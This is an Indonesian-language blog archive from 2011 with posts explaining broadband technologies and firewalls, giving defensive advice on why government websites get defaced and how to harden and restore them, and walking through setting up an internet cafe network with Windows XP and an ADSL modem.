Sunday, August 14, 2011

Tentang Teknologi Broadband

Perkembangan Telekomunikasi saat ini sangat pesat sekali, dimana informasi pada komunikasi kini dan masa mendatang merupakan gabungan informasi pada komunikasi berupa voice, data, dan video, sehingga membutuhkan bandwidth yang makin besar, selain dibutuhkan bandwidth yang cukup besar, kecepatan transmisi dari system komunikasi juga menuntut kecepatan yang makin besar dapat dikatakan bahwa komunikasi masa depan adalah komunikasi broadband. Ada beberapa definisi untuk komunikasi broadband, antara lain : menurut rekomendasi ITU No. I.113, “Komunikasi broadband didefinisikan sebagai komunikasi dengan kecepatan transmisi 1,5 Mbps hingga 2,0 Mbps.”. sedangkan menurut FCC di amerika, “ komunikasi broadband dicirikan dengan suatu komunikasi yang memiliki kecepatan simetri (up-stream dan down-stream) minimal 200 kbps. Broadband Wireless sesuai dengan namanya adalah teknologi baru yang menjanjikan kepada pemakai bandwidth yang lebar. Dibandingkan dengan teknologi wireless yang sudah ada (mobile communication) terdapat perbedaan pada tujuan penggunaan dan kecepatan. Teknologi wireless yang ada diutamakan untuk layanan suara (voice) dan jika digunakan untuk menyalurkan data hanya akan diperoleh kecepatan sekitar 9600 bps saja, sedangkan teknologi broadband wireless menjanjikan layanan data (bisa berisi data multimedia) dengan kecepatan antara 1,5 mbps s/d 128 mbps. Teknologi broadband wireless menggabungkan kemudahan-kemudahan yang didapat dari sistem wireless yang ada. Seperti hal-hal berikut :


1. Kemudahan dan kecepatan pemasangan
2. Kemudahan perawatan-perangkat
3. kemudahan pengembangan jaringan

dengan kecepatan layanan pita lebar. Ragam bentuk teknologi wireless, menurut kategori yang melingkupi implementasi atau standarisasi yang dipakai sebagai acuannya dapat dikelompokan seperti gambar dibawah ini

 

Teknologi broadband dapat dibedakan atas 5 teknologi, yaitu

1. Digitas Subscriber Line (DSL)
2. Modem Kabel
3. Broadband Wireless Access (WiFi dan WiMAX)
4. Satelit
5. Selular

Dari kelima teknologi tersebut, kabel modem dirasakan kurang populer dalam pemanfaatannya. Teknologi DSL digunakan oleh operator penyelenggara fixed telephone (fixedcarrier) untuk optimasi penggunaan copper fiber yang ada, memiliki skala ekonomis pada infrastruktur yang ada, dan modem memiliki tingkat keamanan dan kualitas layanan yang baik pada bandwidth yang tinggi. Teknologi 3G yang diselenggarakan oleh operator-operator seluler memiliki karakteristik bahwa teknologi 2G didesain untuk layanan komunikasi berbasis voice dan data, mendukung mobilitas yang tinggi, dan teknologinya sudah mapan. Teknologi wireless yang banyak mendapatkan perhatian baik dari calon operator, vendor, dan user adalah WiMAX. Beberapa hal yang menjadi keunggulan WiMAX, jika dibandingkan dengan teknologi WiFI antara lain adalah sebagai berikut.

1.para produsen mikroelektronik akan mendapatkan lahan baru untuk dikerjakan, dengan membuat chip-chip yang lebih general yang dapat dipakai oleh banyak produsen perangkan wireless untuk membuat BWA nya. Produsen perangkat wireless tidak perlu mengembangkan solusi end to end bagi penggunanya, karena sudah tersedia standar yang jelas.

2. operator telekomunikasi dapat menghemat investasi perangkat karena kemampuan WiMAX dapat melayani pelanggannya dengan area yang lebih luas dan dengan kompatibilitas yang lebih tinggi

3. pengguna akhir akan mendapatkan banyak pilihan dalam menggunakan internet. WiMAX merupakan salah satu teknologi yang dapat memudahkan untuk koneksi dengan internet secara mudah dan berkualitas

4. memiliki banyak fitur yang selama ini belum ada pada teknologi WiFi dengan standar IEEE 802.11 . standar 802.16. digabungkan dengan ETSI HiperMAN, maka dapat melayani pangsa pasar yang lebih luas.

5. dengan coverage yang mencapai 50 kilometer (maksimal), WiMAX dapat memberikan kontribusi yang sangat besar bagi keberadaan wireless MAN. Kemampuan untuk menghantarkan data dengan transfer rate yang tinggi dalam jarak jauh dan akan menutup semua celah broadband yang tidak dapat terjangkau oleh teknologi kabel dan DSL.

6. dapat melayani para pengguna, baik yang berada pada posisi LOS maupun NLOS
DSL, WiMAX, dan 3G memiliki segmentasi yang berbeda ketiga teknologi ini bisa saling bersinergi untuk memperbaiki/melengkapi satu sama lain."
WiMAX Teknologi BWA Kini & Masa Depan"

Saturday, August 13, 2011

Firewall: Apa Itu Dan Bagaimana Kerjanya

Apabila anda sudah menggunakan internet untuk beberapa waktu, dan terutama jika anda bekerja di perusahaan yang besar dan browse internet di tempat kerja, anda mungkin sudah mendengar istilah firewall. Sebagain contohnya, anda sering mendengar orang bilang, “Saya tidak bisa ke situs itu sebab mereka tidak mengijinkan melalui firewall.”
Jika anda mempunyai hubungan internet yang cepat di rumah (seperti DSL atau kabel modem), anda juga mendengar tentang menggunakan firewall untuk network diperumahan. Kenyataannya, network perumahan mempunyai masalah keamanan yang sama dengan perusahaan besar. Anda bisa menggunakan firewall untuk melindungi network perumahan dan keluarga dari serangan situs web dan potensi para hacker.
Pada dasarnya, firewall itu seperti dinding pemisah untuk menghalangi tenaga yang merusak jauh dari rumah kita. Sebenarnya, dinding yang disebut firewall didirikan untuk menghalangi api untuk menyebar dari satu tempat ke tempat lain.
Fungsi Firewall
Firewall adalah perangkat lunak atau keras yang menyaring (filter) informasi yang masuk melalui koneksi internet ke network privat atau sistem komputer. Jika paket informasi yang masuk ditandai oleh filter, paket itu tidak boleh masuk lebih dalam dan harus disingkirkan.
Misalkan anda bekerja di perusahaan dengan 500 pekerja. Jadi perusahaan itu mempunyai ratusan komputer yang dihubungkan dengan kartu network. Perusahaan ini juga mempunyai koneksi ke internet melalui T1 atau T3 (semacam kabel modem tapi untuk perusahaan besar). Tanpa menggunakan firewall, ratusan komputer ini akan berhubungan langsung dengan internet. Hacker bisa menganalisa komputer yang dipakai oleh akuntan, misalnya, lalu berusaha membuat koneksi ke komputer tadi melalui FTP, telnet, atau cara lain. Jika satu pekerja membuat kesalahan dan membuka lubang untuk hacker bisa masuk, hacker ini akan mengkontrol komputer tersebut.
Dengan firewall, keadaannya akan sangat berubah. Perusahaan ini memasang firewall ditiap koneksi ke internet (misalnya, ditiap T1 yang masuk ke perusahaan). Di firewall ini bisa dipasang peraturan sekuriti, misalnya:
    Dari 500 komputer di perusahaan ini, hanya satu yang diperbolehkan untuk menerima lalu-lintas FTP. Komputer lain harus berubungan dengan komputer ini untuk menggunakan fasilitas FTP.
Perusahaan bisa membuat peraturan seperti diatas untuk FTP server, Web server, Telnet server dan lain-lain. Perusahaan bisa juga mengkontrol bagaimana pekerjanya mengakses ke situs internet, apa boleh mengirim file keluar dari perusahaan melalui network, dll. Firewall menggunakan satu atau lebih metoda untuk mengatur lalu-lintas keluar-masuk network:
  • Packet filtering – Paket data dianalisa dan dibandingkan dengan filter. Paket yang lolos filter dikirim ke sistem yang meminta dan sisanya akan dibuang.
  • Proxy service – Informasi yang keluar-masuk dari internet harus melalui firewall. Contoh: Komputer A minta informasi dari situs ABC. Komputer A tidak berhubungan langsung dengan situs ABC, tetapi firewall yang akan minta informasi ini dan setelah mendapatkan akan mengirim ke komputer A.
  • Stateful inspection – Metoda baru yang tidak memeriksa setiap paket tetapi akan membandingkan kunci bagian dari paket itu dengan database yang berisi informasi yang dipercaya. Informasi yang keluar dan berasal dari dalam firewall akan dimonitor untuk karakter penting, kemudian informasi yang masuk akan dibandingkan dengan karakter ini. Jika perbandingannya cukup dekat informasi ini akan dipersilahkan masuk, jika tidak akan dibuang.
Membuat Firewall Pas
Firewall bisa dikonfigurasi. Ini berarti anda bisa menambah atau mengurangi filter yang akan dipakai tergantung dari keadaan. Sebagian dari filter ini adalah:
  • IP address – Tiap komponen (komputer, hub, print server, dll) dari internet diberi alamat unik (tidak ada yang sama) dan disebut IP address. Alamat ini 32-bit, ditayangkan sebagai empat “octets” dengan titik pemisah; contoh: 72.164.215.216. Contoh pengetrapan, jika IP address tertentu diluar perusahaan membaca terlalu banyak file dari server, firewall bisa dikonfigurasi untuk mengeblok semua lalu-lintas dari IP address ini.
  • Domain names – Karena sangat susah mengingat urutan nomer-nomer yang membentuk IP address, dan karena kadang-kadang IP addresses harus diganti, semua server di internet juga mempunyai nama yang mudah untuk dibaca, sebagai pengganti IP address, dan disebut domain names. Sebagai contoh, lebih mudah menghafalkan www.howstuffworks.com daripada 216.27.61.137. Contoh pengetrapan: Perusahaan bisa mengeblok atau memberi akses ke domain tertentu.
  • Protocol – Protocol adalah cara tertentu bagi seseorang yang mau menggunakan service untuk berkomunikasi dengan service tersebut. “Seseorang” ini bisa berarti orang, atau lebih cenderung ke aplikasi seperti browser, telnet, atau ftp. Contoh protocol misalnya http sebagai web protocol. Protocols yang sering diset di firewall termasuk:
    • IP (Internet Protocol) – sistem pengiriman informasi melalui internet
    • TCP (Transmission Control Protocol) – digunakan untuk memecah dan membangun balik informasi yang beredar di internet. TCP memerlukan jawaban balik dari sipenerima untuk menyakinkan bahwa paket yang dikirim sudah diterima dan untuk mengetahui jika paket harus dikirim ulang jika hilang.
    • HTTP (Hyper Text Transfer Protocol) – digunakan untuk Web pages
    • FTP (File Transfer Protocol) – untuk download dan upload file
    • UDP (User Datagram Protocol) – semacam TCP tetapi tidak memerlukan jawaban balik, seperti streaming audio dan video
    • ICMP (Internet Control Message Protocol) – digunakan oleh router untuk tukar informasi dengan router yang lain
    • SMTP (Simple Mail Transport Protocol) – untuk mengirim informasi dalam bentuk teks (e-mail)
    • SNMP (Simple Network Management Protocol) – untuk mengumpulkan sistem informasi dari remote komputer
    • Telnet – untuk menjalankan perintah di remote komputer
    Perusahaan bisa mengkonfigurasi satu atau dua komputer untuk menangani protocol tertentu dan melarang protocol ini di komputer yang lainnya.
  • Ports – Server menyediakan service ke internet dengan menggunakan nomer port, satu nomer untuk setiap servis yang tersedia di server tsb. Contoh: HTTP (port 80), FTP (port 21).
  • Kata atau kata-kata tertentu – Firewall akan mendeteksi semua paket yang berisi kata-kata ini. Anda bisa mengkonfigurasi firewall untuk mengeblok paket yang berisi kata “X-rated” atau “XXX”. Yang penting kata filter ini harus benar-benar sama– “X-rated” tidak sama dengan “X rated”.
OS (operating systems) tertentu mempunyai built-in firewall built, seperti Unix atau Linux, dan Windows XP dengan SP-2 . Jika tidak, perangkat lunak firewall bisa dipasang di komputer di rumah yang mempunyai koneksi dengan internet. Komputer ini dianggap sebagai gatewaykarena menyediakan satu titik akses antara network perumahan dengan internet. Dengan perangkat keras firewall, unit ini sendiri biasanya berfungsi sebagai gateway. Contohnya Linksys Cable/DSL router yang mempunyai built-in kartu Ethernet and hub. Komputers di network perumahan disambung ke router, dan router ini disambung ke cable atau DSL modem. Anda bisa mengkonfigurasi router ini melalui browser.
Perangkat keras firewall sangat aman dan tidak mahal. Versi untuk perumahan yang termasuk router, firewall dan Ethernet hub untuk koneksi broadband bisa didapat dengan harga dibawah Rp. 1 juta.
Perlindungan Oleh Firewall
Banyak cara bagi hacker untuk mengakses atau merusak data di komputer yang tidak dilindungi:
  • Remote login – Apabila orang bisa masuk ke komputer anda dan bisa ambil kontrol–bisa membaca file atau menjalankan aplikasi.
  • Application backdoors – Aplikasi tertentu mempunyai jalan belakang yang mengijinkan akses remote untuk masuk ke komputer.
  • SMTP session hijacking – SMTP digunakan untuk mengirim imel melalui internet. Dengan memperoleh akses ke daftar imel, hacker bisa menggunakan informasi ini untuk kirim junk imel atau spam ke ratusan bahkan jutaan orang. Ini biasanya dilakukan dengan merubah jalur imel ke SMTP server yang sudah di-hack, jadi spam ini seakan-akan dikirim dari SMTP server ini. Hal ini membuat pelacakan pengirim yang asli sangat susah.
  • Operating system bugs – Seperti program aplikasi, operating sistem ada kalanya mempunyai “bug” yang memungkinkan hacker untuk menggunakan kesempatan ini sebagai pintu masuk.
  • Denial of service – Anda mungkin pernah mendengar istilah ini dari berita tentang serangan ke situs yang besar, seperti Microsoft atau Yahoo. Serangan ini sangat susah untuk dibendung. Yang terjadi adalah hacker mengirim permintaan untuk berhubungan dengan server. Ketika server menjawab dan siap membuat session, server ini tidak bisa menemukan alamat pemintanya. Dengan membuat permintaan sedemikian rupa dan sedemikian banyak, server ini akan menjadi sangat lamban dan akhirnya crash.
  • E-mail bombs – Bom imel biasanya serangan personal. Seseorang mengirim ratusan atau ribuan imel yang sama sampai imel servernya tidak bisa terima apa-apa lagi.
  • Macros – Macro biasanya dibuat untuk mempermudah menjalankan prosedur yang rumit dan sering diulang. Komputer anda bisa mempunyai macro yang jahat karena hacker atau anda men-download macro itu dari internet tanpa anda sadari. Macro ini bisa menghapus dokument/file atau membuat sistem anda crash.
  • Viruses – Virus adalah aplikasi kecil yang bisa menduplikasi sendiri ke komputer lain. Dengan demikian virus ini bisa menyebar secara cepat dari satu komputer ke komputer yang lain. Virus ini bisa jinak atau ganas (merusak data).
  • Spam – Biasanya jinak tapi membuat kesal. Spam bisa berbahaya karena mengandung pranala ke situs yang salah/palsu.
  • Redirect bombs – Hacker bisa menggunakan ICMP untuk merubah arus lalu-lintas internet ke router yang lain. Ini adalah satu cara untuk mengkonfigurasi serangan denial of service.
  • Source routing – Umumnya, jalur yang harus ditempuh oleh paket informasi di Internet ditentukan oleh router-router yang dilewati. Tetapi sumber yang menyediakan rute ini bisa memberi rute yang salah atau diganti oleh hacker.
Beberapa topik yang disebut diatas sangat susah, atau bahkan tidak mungkin, untuk di filter dengan firewall. Meskipun ada firewall yang memberi perlindungan seperti anti-virus, memasang anti-virus ditiap komputer memberi perlindungan yang lebih bagus. Meskipun spam itu sangat menjengkelkan akan tetapi spam ini akan terus lewat firewall jika anda menerima dan membuka spam tersebut. Tingkat sekuriti menentukan berapa banyak ancaman serangan ini bisa dihambat oleh firewall. Tingkat sekuriti yang tinggi bisa mengeblok hampir semua ancaman. Tetapi hal ini menutup kemungkinan untuk berhubungan dengan internet. Cara yang biasanya dipakai adalah blok semuanya lalu pilih aktivitas apa yang diperbolehkan. Anda bisa mengijikan lalu-lintas apa yang akan lewat melalui firewall sehingga hanya tipe informasi tertentu, seperti imel, bisa lewat. Ini adalah cara yang bagus untuk bisnis yang mempunyai administrator network yang berpengalaman. Untuk kita semua, sebaiknya terima konfigurasi yang disediakan oleh firewall kecuali ada alasan untuk merubahnya.
Satu hal yang terbagus tentang firewall dilihat dari pandangan sekuritas adalah firewall memblokir kemungkinan orang luar untuk mengakses komputer didalam network (dibelakang dinding firewall). Meskipun hal ini sangat penting untuk bisnis, tetapi network perumahan menderita sedikit atau hampir tidak ada ancaman seperti ini. Akan tetapi memasang firewall memberi keamanan dan rasa tenang.

Wednesday, August 3, 2011

Alasan Website Pemerintah Mudah Di Deface

Salam buat seluruh sahabat semua, kali ini saya akan membahas mengapa sih website pemerintah mudah dideface?
Mari kita pelajari sedikit demi sedikit, kemungkinan hal ini akan berkembang menjadi lebih lebar lagi.
Kita telaah dari sisi Defacer & Webmaster:
Defacer, setiap hari selalu mencari celah keamanan website agar bisa di deface, melakukan penelitian terhadap sourcecode yang ada, melihat update vulnerability dari website-website security yang ada di jagad raya. Berdiskusi di forum untuk menemukan dan memecahkan sesuatu yang tidak bisa dipecahkan. Hal inilah yang biasanya hampir tidak pernah dilakukan oleh Webmaster & Administrator. Defacer, bisa saja terdiri dari banyak orang yang berbeda-beda dan berasal dari lokasi mana saja di dunia ini, misalkan: Indonesia, Turki, Brazil, India, Tunisia, dsb. Oleh sebab itu bisa kita golongkan bahwa defacer merupakan sebuah kumpulan orang banyak.
Administrator / Webmaster biasanya terdiri dari beberapa orang saja, bisa 1-3 orang saja. Administrator / Webmaster bertugas untuk mengatur dan mengurus website. Namun, entah kenapa kebanyakan webmaster & administrator website pemerintah Indonesia kebanyakan menggunakan layanan instant public (hosting, opensource cms, dsb), alangkah baiknya bila situs-situs pemerintah memiliki suatu badan tersendiri yang mengurusi hal ini (dalam bayangan).
Dari penjelasan di atas, terdapat beberapa kelebihan Defacer daripada Webmaster:
  1. Defacer unggul dalam jumlah, karena defacer bisa siapa saja di dunia ini.
  2. Defacer bergerak setiap hari mengikuti perkembangan security.
  3. Defacer mencoba dan melakukan research terdahap kelemahan-kelemahan di website setiap saat.
Kita bisa melihat beberapa website pemerintah Indonesia yang di hack disini: http://zone-h.org/archive/filter=1/domain=go.id/fulltext=1/page=1
undefined
Ada beberapa alasan mengapa website pemerintah mudah di deface:
  1. Penggunaan CMS yang free dan opensource tanpa adanya modification. Sehingga keseluruhan konfigurasi menggunakan default konfigurasi, hal ini memudahkan para defacer untuk menemukan informasi file, directory, source, database, user, connection, dsb.
  2. Tidak updatenya source atau tidak menggunakan versi terakhir dari CMS. Hal ini sangat rentan, karena security issue terus berkembang seiring masuknya laporan dan bugtrack terhadap source, kebanyakan hal inilah yang menjadi sebab website mudah dideface.
  3. Tidak pernah ada research yang mendalam dan detail mengenai CMS sebelum digunakan & di implementasikan. Sehingga pemahaman dan pengetahuan dari webmaster hanya dari sisi administrasinya saja, tidak sampai ke level pemahaman sourcecode.
  4. Tidak adanya audit trail atau log yang memberikan informasi lengkap mengenai penambahan, pengurangan, perubahan yang terjadi di website baik source, file, directory, dsb. Sehingga kesulitan untuk menemukan, memperbaiki dan menghapus backdoor yang sudah masuk di website.
  5. Jarang melakukan pengecekan terhadap security update, jarang mengunjungi dan mengikuti perkembangan yang ada di situs-situs security jagad maya. Sehingga website sudah keduluan di deface oleh defacer sebelum dilakukan update dan patch oleh webmaster.
  6. Kurangnya security awareness dari masing-masing personel webmaster & administrator. Sehingga kewaspadaan terhadap celah-celah keamanan cukup minim, kadangkala setelah website terinstall dibiarkan begitu saja. Kurangnya training dan kesadaran akan keamanan website seperti ini akan menjadikan website layaknya sebuah istana yang tak punya benteng.

BERIKUT SCREENSHOOT  DARI ZONE-H.ORG OPENSOURCE CMS YANG MEMILIKI VULNERABILITY


Vulnerability OpenSource CMS By Telematika.Co.Id
undefined
Vulnerability OpenSource CMS By Joomla.Org – Joomla 1.5

Untuk teman-teman Webmaster / Administrator website pemerintah, ada beberapa saran yang mungkin bermanfaat untuk dapat di implementasikan:

  1. Wajib untuk mengikuti perkembangan source dari source website yang digunakan, backuplah website dan database sebelum dilakukan update.
  2. Kebanyakan defacer telah memasang backdoor ketika telah berhasil melakukan deface website, hal ini dimungkinkan agar dapat melakukan deface ulang terhadap website. Wajib untuk memeriksa perubahan folder, file, database dan source terakhir dari website.
  3. Pelajarilah lebih dalam mengenai dasar-dasar hacking dan antisipasinya (RFI, LFI, CSRF, SQL Injection, XSS, Exploit, Dsb) karena artikel ini sudah banyak bertebaran di Internet. Semakin banyak tahu & mengerti tentang sebuah kelemahan website dari dasar-dasar hacking, maka akan semakin banyak tahu pula bagaimana cara mengatasinya.
  4. Sering-seringlah berdiskusi di forum dan milist yang berkaitan dengan perangkat serta aplikasi yang mensupport website anda, baik dari sisi operating system, tempat hosting, bugtrack milist, developer milist, dsb. Hal ini bertujuan agar informasi vulnerability dapat dipatch lebih cepat sebelum defacer beraksi.
  5. Hardening website dan source wajib dilakukan, misalkan jangan menggunakan “default configuration”, aturlah sedemikian rupa “configuration website” dengan memperhatikan: permission, access level, indexing, database connection, database configuration, password dan user management.
  6. Gunakanlah tambahan plugin / component yang tepat, sehingga dapat meminimalisasi terjadinya kegiatan defacing dari thirdparty. Pastikan hasil review & ranking plugin bereputasi baik dan sudah di verified oleh penyedia CMS yang bersangkutan.
  7. Lakukanlah penetration testing terhadap website, baik secara lokal maupun langsung di website. Banyak tools penetration testing yang bisa digunakan: Nexus, Acunetix, dsb. Tapi yang paling bagus dan lebih cepat adalah, copy source dan database website, Install di local computer, kemudian lakukanlah penetration testing. Updatelah website bila ditemukan vulnerability.
  8. Backdoor, baik (php, asp, perl, phyton) dikenali dengan baik oleh beberapa Antivirus, ada bisa cleaning dengan melakukan scanning terhadap source website secara local. Apabila tidak dikenali, terpaksa anda harus mencari secara manual.

Pada bagian ini, saya akan mencoba memberikan salah satu solusi apabila website sudah terlanjur dideface, silakan menggunakan langkah berikut:

  1. Download source & database yang ada di website untuk backup. Hal ini untuk berjaga-jaga apabila langkah yang kita lakukan gagal, tetapi apabila konfigurasi & file benar dan lengkap dijamin 100% berhasil, terkecuali ada sesuatu yang terlewatkan.
  2. Download source CMS versi terbaru dari website penyedia CMS, misalkan: www.drupal.org, www.joomla.org, www.wordpress.org, dsb.
  3. Lakukanlah perbaikan database secara lokal, berjaga-jaga apabila backdoor ada di database. Biasanya didalam database ada access user tidak dikenal yang akses levelnya sama dengan Administrator.
  4. Install CMS yang tadi sudah di download di web hosting. Kemudian lakukanlah konfigurasi: database, file permission, directory permission. Jangan menggunakan default configuration, modifikasilah konfigurasi-konfigurasi yang ada agar lebih powerfull.
  5. Kemudian instalasi component: Themes, Plugin, Component, dsb. Gunakanlah yang paling update, atau source baru dari komponen yang akan di Install (Fresh Install Component).
  6. Kemudian update database, dengan login ke Database Control Panel (phpMyAdmin, DB Admin, cPanel Database, dsb). Setelah anda melakukan login, maka importlah database.
  7. Gantilah username Administrator & Password menggunakan nama yang lebih Unik, jangan menggunakan user (admin, administrator, adm1n, dsb) gunakanlah yang lebih powerful dan susah untuk di tebak untuk menghindari bruteforce, gunakanlah alias untuk menampilkan username administrator di web content.
Semoga sedikit sharing mengenai keamanan website ini berguna buat para sahabat-sahabat Webmaster & Administrator Website.

Sunday, July 24, 2011

Setting Jaringan Warnet Speedy dan XP

Kemampuan untuk melakukan Instalasi dan setting untuk sebuah Warung Internet (Warnet) selama ini dianggap hanya dimiliki oleh mereka yang sudah lama berkecimpung didunia IT Administrator. Dengan mematok biaya yang cukup lumayan mereka bersedia membantu kita dalam membangun sebuah Warnet yang hendaknya akan kita gunakan sebagai Unit Produksi. Ketidaktahuan tentang bagaimana sebuah sistem jaringan dapat berjalan lancar adalah alasan utama kita untuk terus menggunakan tenaga mereka. Berangkat dari keadaan tersebut maka saya menuliskan panduan ini. Sengaja dibuat dengan menampilkan langkah demi langkah agar dapat dimengerti dan dipahami bahkan oleh seorang yang sama sekali belum mengenal jaringan.Pada panduan ini akan dibahas instalasi dan setting untuk sebuah warnet yang memiliki 1 server & 12 client seperti terlihat pada gambar di bawah ini:
gbr-1.jpg
Persiapan Hardware & Software
Hendaknya sebelum kita melaksanakan instalasi jaringan, terlebih dahulu kita mempersiapkan Hardware & software yang akan tersambung di dalam lingkup jaringan tersebut. Beberapa langkah persiapan yang diperlukan adalah :
1. PC Server, spesifikasi minimal yang disarankan :
a. Hardware :
  • MotherBoard : Kecepatan setara 3.00 Ghz untuk dual Core
  • Ram : 1 Ghz
  • Harddisk : 160 GB
  • NIC / LAN Card : 10/100 Mbps
  • Drive : DVD / CD Writer
  • Spesifikasi lain : Optional
b. Software :
  • Windows XP SP2
  • Bandwith Controller / Manager
  • Billing System, dll
  • Anti Virus
  • Firewall
  • Anti Spyware, Malware, Adware
2. PC Client
a. Hardware :
  • MotherBoard : Kesepatan setara 2.80 Ghz
  • Ram : 512 MB
  • Harddisk : 40 Ghz
  • VGA Card : Optional untuk Game
b. Software :
  • Windows XP SP2
  • Browsing Tools :
1. Internet Explorer
2. Mozilla FireFox (Free)
3. Opera
  • Chatting Tools :
1. Yahoo Messenger (Free)
2. MSN Live Messenger
3. MiRC
4. ICQ
  • Game Online, Example:
1. Warcraft III
2. Ragnarok Online
3. Diablo II, dsb
  • Adobe Reader (Free)
  • WinZip
  • WinRar
  • Anti Virus (AVG Free Recommended)
  • Winamp (Free)
  • ACD See (Optional)
  • Microsoft Office (Optional)
  • Billing System, dsb
Sistem Operasi Window$ memang sangat mahal, untuk itu kita bisa mensiasatinya dengan membeli CPU second Built-up dari luar negeri yang masih bagus. Biasanya selain kualitasnya lebih tinggi dari pada CPU rakitan, CPU Built-up dari luar negeri juga sudah dilengkapi dengan, Sistem Operasi Standar Windows.
3. Hub / Switch / Router
Merupakan alat yang digunakan untuk membagi koneksi internet dari PC server ke PC
Client. Pilihan antara Hub / Switch / Router ditentukan oleh kemampuan koneksi yang
ingin dihasilkan, dan tentu saja di sesuaikan dengan dana yang tersedia. Pada studi
kasus kita kali ini saya akan menggunakan Switch sebagai pembagi koneksi internet.
4. Modem
Modem adalah sebuah device yang digunakan sebagai penghubung dari sebuah PC atau
jaringan ke Penyedia Layanan Internet (Internet Service Provider / ISP). Penggunaan
Modem yang akan di bahas kali ini adalah modem jenis ADSL. Modem jenis ini
biasanya digunakan oleh ISP Telkomspeedy. Untuk jenis modem ADSL itu sendiri bisa
dipilih berdasarkan kebutuhan. Kali ini penulis mengambil contoh ADSL LynkSys AM
300 yang hanya mempunyai 1 (satu) port saja sebagai Dialup Device.
Setting Modem ADSL Eksternal
Berikut adalah langkah yang harus dilakukan untuk memastikan PC Server terhubung ke
internet :
1) Buka Internet Explorer anda dan ketikan alamat berikut : 192.168.1.1 (biasanya adalah
alamat IP default bagi Modem).
2) Setelah muncul jendela login isikan username: admin Password: admin, atau sesuai
dengan user guide yang terdapat pada saat pembelian Modem.
3) Isikan sesuai dengan yang tertera pada gambar berikut, kecuali user name dan password yang masing-masing berbeda sesuai dengan yang didapat dari ISP.
4) Pengisian selanjutnya adalah untuk mengijinkan DHCP Server enable/disable,
sebaiknya dipilih Option Enable agar kita tidak direpotkan dengan urusan menyetel satu
demi satu IP Client. Karena fasilitas ini mempunyai kemampuan untuk mensetting IP
Client secara otomatis.
5) Untuk pengisian Time Zone dilakukan sesuai dengan domisili anda tinggal. Dan untuk
time server settingan yang tertera pada gambar adalah settingan yang saya
rekomendasikan.
6) Jika kita ingin mengganti modem username & password kita dipersilahkan untuk
melalukannya pada option berikut :
7) Status Koneksi kita bisa kita pantau pada tabs status (gambar), sebetulnya alamat IP
kita tertera pada bagian bawah layar. Tidak saya tampilkan dengan alasan keamanan.
8) Setelah semua tersetting dengan baik langkah pengujian yang bisa kita lakukan adalah
dengan membuka Internet Explorer kita, lalu masuk ke salah satu alamat WEB yang
mudah diloading. Contoh : Http://www.google.co.id/ lalu untuk pengetesan kecepatan
bisa dilakukan melalui beberapa situs yang menyediakan layanan pengukuran
Bandwith, contoh: http://www.sijiwae.net/speedtest/ .
Sinkronisasi
Setelah hubungan antara PC server dan koneksi internet dapat berjalan lancar langkah
selanjutnya adalah sinkronisasi. Agar semua komputer dapat tersinkronisasi secara benar, berikut adalah langkah-langkah yang harus dilakukan :
1) Sinkronisasi Nama Komputer / PC dan Nama Work Group dilakukan dengan cara
sebagai berikut :
a. Menampilkan Task Control System
gbr-5.jpg
b. Pada Tab Computer Name klik Change untuk mengubah nama komputer dan
nama WorkGroup. Nama komputer sebaiknya diurutkan sesuai dengan nomor
Clientnya untuk memudahkan kita mengingat masing-masing nama komputer,
nama masing-masing PC tidak boleh sama. Namun untuk nama Workgroup
harus lah dibuat sama untuk semua Client dan juga Server.
gbr-6.jpg
c. Setelah nama PC kita ganti langkah selanjutnya adalah mengganti Network ID
dengan cara mengeklik Tab Network ID pada task Control System tadi.
i. Pada pertanyaan How Do You Use This Computer pilihlah option This Computer is part of a business network, kemudian Klik Next.
gbr-7.jpg
ii. Pada Option selanjutnya pilihlah Network without a Domain.
gbr-8.jpg
iii. Selanjutnya isikan nama WorkGroup sesuai dengan nama WorkGorup yang kita isikan pada waktu mengganti nama PC pada langkah (b) tadi.
gbr-91.jpg
iv. Selanjutnya Klik Next dan kemudian Finish. Tunggu beberapa saat hingga komputer selesai melakukan pergantian Network ID dan lakukan restrat System Operasi / Reboot.
2) Sinkronisasi Waktu / Jam dilakukan dengan menempuh langkah sebagai berikut:
a. Double klik tampilan jam yang ada pada sudut kiri bawah desktop anda.
b. Pilihlah tabs Internet Time => Update Now
gbr-10.jpg
c. Tunggu beberapa saat hingga terdapat statement berikut : The time has ben
succesfully Synchronized.
d. Jika yang tampil adalah statement error, maka ulangi klik Update Now hingga
berhasil menyamakan waktu PC anda dengan server Windows.
e. Jika Update berhasil, namun jam yang ditampilkan tidak sama, maka kesalahan
mungkin terjadi pada Time Zone untuk wilayah WIB wilayah waktunya adalah
GMT + 07.00 Bangkok, Hanoi, Jakarta sedangkan untuk WITA adalah
GMT+08.00 Perth dan WIT dengan GMT + 09.00 Seoul.
gbr-11.jpg
Internet Connection Sharing (ICS)
Sampai dengan tahap ini PC yang terkoneksi keinternet hanyalan PC server saja. Untuk
memberikan akses bagi PC client agar mempunyai akses ke internet kita perlu mengaktifkan Internet Connection Sharing yang kita miliki pada PC server. Langkah-langkahnya adalah sebagai berikut :
1) Buka Jendela Network Connection yang terdapat pada Control Panel. Lalu klik kanan
pada Koneksi aktif kita ke internet => pilih Properties.
gbr-12.jpg
2) Pada tabs Advanced aktifkan option Allow other network users to connect through this
computer’s Internet Connection.
3) Setelah Koneksi Internet berhasil di sharing maka akan muncul 2 buah macam koneksi. Sebaiknya ganti nama masing-masing koneksi tersebut agar mudah membedakan antarakoneksi yang terhubung ke Modem dengan Koneksi yang terhubung ke Switch dengan cara me-rename masing-masing koneksi tersebut.
gbr-13.jpg
4) Jika kita buka properties pada koneksi yang terhubung ke Switch, pada tabs support
terdapat alamat IP yang akan menjadi default Gateway bagi PC Client yang akan
terhubung melalui PC Server (192.168.0.1).
gbr-14.jpg
Network Setup
Langkah-langkah yang kita lakukan tadi hanyalah untuk memberikan izin bagi PC Client agar dapat mengakses Internet. Untuk mengaktifkan Izin tersebut dilakukan dengan cara mensetup Network / Jaringan yang kita miliki. Langkah pengerjaannya adalah sebagai berikut :
1) Buka Network Setup Wizard yang terdapat pada Control Panel. Lalu lakukan langkah
seperti pada gambar. (pastikan Koneksi ke internet dalam keadaan hidup).
gbr-15.jpg
gbr-16.jpg
2) Pada pilihan select a Connection Method pilih yang Connect Directly to the Internet
untuk PC server dan bila melakukan settingan pada PC Client plihlah Option Connect to
the internet through a residental gateway.
gbr-17.jpg
3) Option Berikut meminta kita menentukan koneksi yang mana yang akan kita gunakan
untuk melakukan dial-up ke Internet. Pilihlah koneksi yang tersambung ke Modem.
Pilihan ini tidak ada pada saat kita melakukan setting di PC Client.
gbr-18.jpg
